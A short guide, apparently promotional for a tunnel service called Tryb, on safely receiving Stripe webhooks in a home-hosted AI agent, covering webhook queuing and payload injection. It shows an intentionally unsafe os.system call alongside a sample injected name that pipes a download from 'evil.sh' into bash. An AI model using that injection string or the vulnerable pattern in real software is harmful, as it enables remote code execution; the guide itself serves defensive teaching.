How to Handle Stripe Webhooks in an AI Agent (Safely)
Your AI agent processes Stripe payments. But what happens when it's offline during a payment? And how do you prevent injection attacks through webhook payloads?
The Setup
Your AI agent runs on a Mac Mini at home. It sells digital products and processes payments via Stripe. Stripe sends webhooks to confirm payments.
Two things can go wrong:
- Your agent is offline when the webhook arrives (reboot, sleep, crash)
- The webhook payload contains malicious data that your agent executes
Problem 1: Missing Webhooks
Stripe retries failed webhooks, but only for a few hours with exponential backoff. If your agent is down for a full day, events are lost.
Solution: Webhook Queue
Use a tunnel service that buffers webhooks when your agent is offline:
import tryb
client = tryb.connect(subdomain="stripe-agent")
# When agent reconnects, queued webhooks are automatically delivered
@client.on_webhook
def handle_webhook(event):
if event["type"] == "payment_intent.succeeded":
fulfill_order(event["data"]["object"])Tryb queues webhooks for 24 hours and drains them automatically on reconnect. ngrok and Cloudflare Tunnel do not offer this.
Problem 2: Payload Injection
Even with valid Stripe signatures, the payload data can be dangerous if your agent processes it carelessly:
# DANGEROUS: interpolating webhook data into a shell command
customer_name = event["data"]["object"]["name"]
os.system(f"echo 'New customer: {customer_name}' >> log.txt")
# If customer_name is: $(curl evil.sh | bash)
# Your machine is compromisedSolution: Payload Firewall
Tryb scans every payload for shell injection, path traversal, and RCE patterns before it reaches your agent. But you should also:
- Never use `os.system()` or `subprocess.shell=True` with webhook data
- Use parameterized queries for database operations
- Validate expected fields before processing
Minimal Safe Implementation
import tryb
import stripe
client = tryb.connect(subdomain="stripe-agent")
@client.on_webhook
def handle_stripe(event):
# Verify type is expected
if event["type"] not in ["payment_intent.succeeded", "invoice.paid"]:
return
# Extract only the fields you need
amount = event["data"]["object"].get("amount")
customer_id = event["data"]["object"].get("customer")
# Validate types
if not isinstance(amount, int) or not isinstance(customer_id, str):
return
# Safe database operation (parameterized)
db.execute(
"INSERT INTO payments (amount, customer_id) VALUES (?, ?)",
(amount, customer_id)
)Related
Ready to secure your agents?
Tryb gives you a firewall, a persistent event queue, and human-in-the-loop approvals. Free tier included -- no credit card required.